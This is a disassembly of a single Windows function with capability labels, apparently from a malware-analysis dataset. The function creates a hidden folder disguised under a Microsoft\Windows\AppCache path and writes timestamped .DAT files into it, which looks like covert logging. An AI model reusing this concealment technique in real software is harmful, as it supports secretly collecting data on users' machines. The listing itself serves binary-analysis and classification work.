Function at 0x100067b0
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10057b98
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x1007200c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
call fcn.10001e10
mov ecx, eax
test ecx, ecx
jne 0x100067f7
push 0x80004005
call fcn.10001bc0
mov eax, dword [ecx]
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x24], esi
mov byte [ebp - 4], 1
call fcn.10001e10
mov ecx, eax
test ecx, ecx
jne 0x1000681b
push 0x80004005
call fcn.10001bc0
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 2
call fcn.10001e10
mov ecx, eax
test ecx, ecx
jne 0x1000683f
push 0x80004005
call fcn.10001bc0
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 3
call fcn.10007680
mov byte [ebp - 4], 4
add esi, 0xfffffff0
mov edx, dword [eax]
or edi, 0xffffffff
lea ecx, [edx - 0x10]
cmp ecx, esi
je 0x100068aa
cmp dword [esi + 0xc], 0
lea ebx, [esi + 0xc]
jl 0x1000689e
mov eax, dword [ecx]
cmp eax, dword [esi]
jne 0x1000689e
call fcn.10001720
mov dword [ebp - 0x28], eax
mov ecx, edi
lock xadd dword [ebx], ecx
dec ecx
test ecx, ecx
jg 0x10006896
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x28]
add eax, 0x10
mov dword [ebp - 0x24], eax
jmp 0x100068aa
push dword [edx - 0xc]
lea ecx, [ebp - 0x24]
push edx
call fcn.10001aa0
mov byte [ebp - 4], 3
mov eax, edi
mov edx, dword [ebp - 0x34]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x100068c8
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0xa
push str.Microsoft
lea ecx, [ebp - 0x24]
call fcn.10001530
push 8
push str.Windows
lea ecx, [ebp - 0x24]
call fcn.10001530
push 9
push str.AppCache
lea ecx, [ebp - 0x24]
call fcn.10001530
push 9
push str.DEFOL3V8
lea ecx, [ebp - 0x24]
call fcn.10001530
push 1
push 0x100692c8
lea ecx, [ebp - 0x24]
call fcn.10001530
mov esi, dword [ebp - 0x24]
cmp dword [esi - 4], 1
jle 0x1000692a
push dword [esi - 0xc]
lea ecx, [ebp - 0x24]
call fcn.10001860
mov esi, dword [ebp - 0x24]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1000693a
test al, 0x10
jne 0x10006974
cmp dword [esi - 4], 1
jle 0x1000694e
push dword [esi - 0xc]
lea ecx, [ebp - 0x24]
call fcn.10001860
mov esi, dword [ebp - 0x24]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp dword [esi - 4], 1
jle 0x1000696b
push dword [esi - 0xc]
lea ecx, [ebp - 0x24]
call fcn.10001860
mov esi, dword [ebp - 0x24]
push 2
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [ebp + 8]
cmp dword [eax - 0xc], 0
jge 0x10006991
push 0x80070057
call fcn.10001bc0
movzx eax, word [eax]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x1e]
push eax
movzx eax, word [ebp - 0x20]
push eax
push esi
lea eax, [ebp - 0x2c]
push str._s_d_.2d_.2d_c_
push eax
call fcn.10001600
mov eax, dword [ebp - 0x2c]
lea ebx, [esi - 0x10]
add esp, 0x1c
lea ecx, [eax - 0x10]
cmp ecx, ebx
je 0x10006a07
cmp dword [ebx + 0xc], 0
lea esi, [ebx + 0xc]
jl 0x100069f8
mov edx, dword [ecx]
cmp edx, dword [ebx]
jne 0x100069f8
call fcn.10001720
mov dword [ebp - 0x28], eax
mov ecx, edi
lock xadd dword [esi], ecx
dec ecx
test ecx, ecx
jg 0x100069f0
mov ecx, dword [ebx]
push ebx
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x28]
lea esi, [eax + 0x10]
mov dword [ebp - 0x24], esi
jmp 0x10006a07
push dword [eax - 0xc]
lea ecx, [ebp - 0x24]
push eax
call fcn.10001aa0
mov esi, dword [ebp - 0x24]
cmp dword [esi - 4], 1
jle 0x10006a1b
push dword [esi - 0xc]
lea ecx, [ebp - 0x24]
call fcn.10001860
mov esi, dword [ebp - 0x24]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10006a2b
test al, 0x10
jne 0x10006a65
cmp dword [esi - 4], 1
jle 0x10006a3f
push dword [esi - 0xc]
lea ecx, [ebp - 0x24]
call fcn.10001860
mov esi, dword [ebp - 0x24]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp dword [esi - 4], 1
jle 0x10006a5c
push dword [esi - 0xc]
lea ecx, [ebp - 0x24]
call fcn.10001860
mov esi, dword [ebp - 0x24]
push 2
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [ebp + 8]
cmp dword [eax - 0xc], 0
jge 0x10006a78
push 0x80070057
call fcn.10001bc0
movzx eax, word [eax]
push eax
movzx eax, word [ebp - 0x16]
push eax
movzx eax, word [ebp - 0x18]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x1e]
push eax
movzx eax, word [ebp - 0x20]
push eax
lea eax, [ebp - 0x30]
push str._d_.2d_.2d_.2d_.2d_c.DAT
push eax
call fcn.10001600
mov ebx, dword [ebp - 0x30]
lea ecx, [ebp - 0x2c]
add esp, 0x20
push dword [ebx - 0xc]
push ebx
call fcn.10001530
mov edi, dword [ebp - 0x2c]
cmp dword [edi - 4], 1
jle 0x10006acc
push dword [edi - 0xc]
lea ecx, [ebp - 0x2c]
call fcn.10001860
mov edi, dword [ebp - 0x2c]
push 0
push 2
push 4
push 0
push 1
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x28], eax
push ecx
push 2
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x38], 0xfeff
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 2
push 0
push 0
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [esi - 4], 1
jle 0x10006b22
push dword [esi - 0xc]
lea ecx, [ebp - 0x24]
call fcn.10001860
mov esi, dword [ebp - 0x24]
mov ecx, dword [ebp + 8]
cmp dword [ecx - 4], 1
jle 0x10006b39
push dword [ecx - 0xc]
lea ecx, [ebp + 8]
call fcn.10001860
mov ecx, dword [ebp + 8]
push dword [ebp - 0x28]
mov edx, esi
call fcn.10005fc0
add esp, 4
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebx - 0x10]
mov byte [ebp - 4], 2
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10006b6d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 1
add edi, 0xfffffff0
mov eax, ebx
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x10006b88
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x10006ba3
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x10006bc2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10007975
mov esp, ebp
pop ebp
ret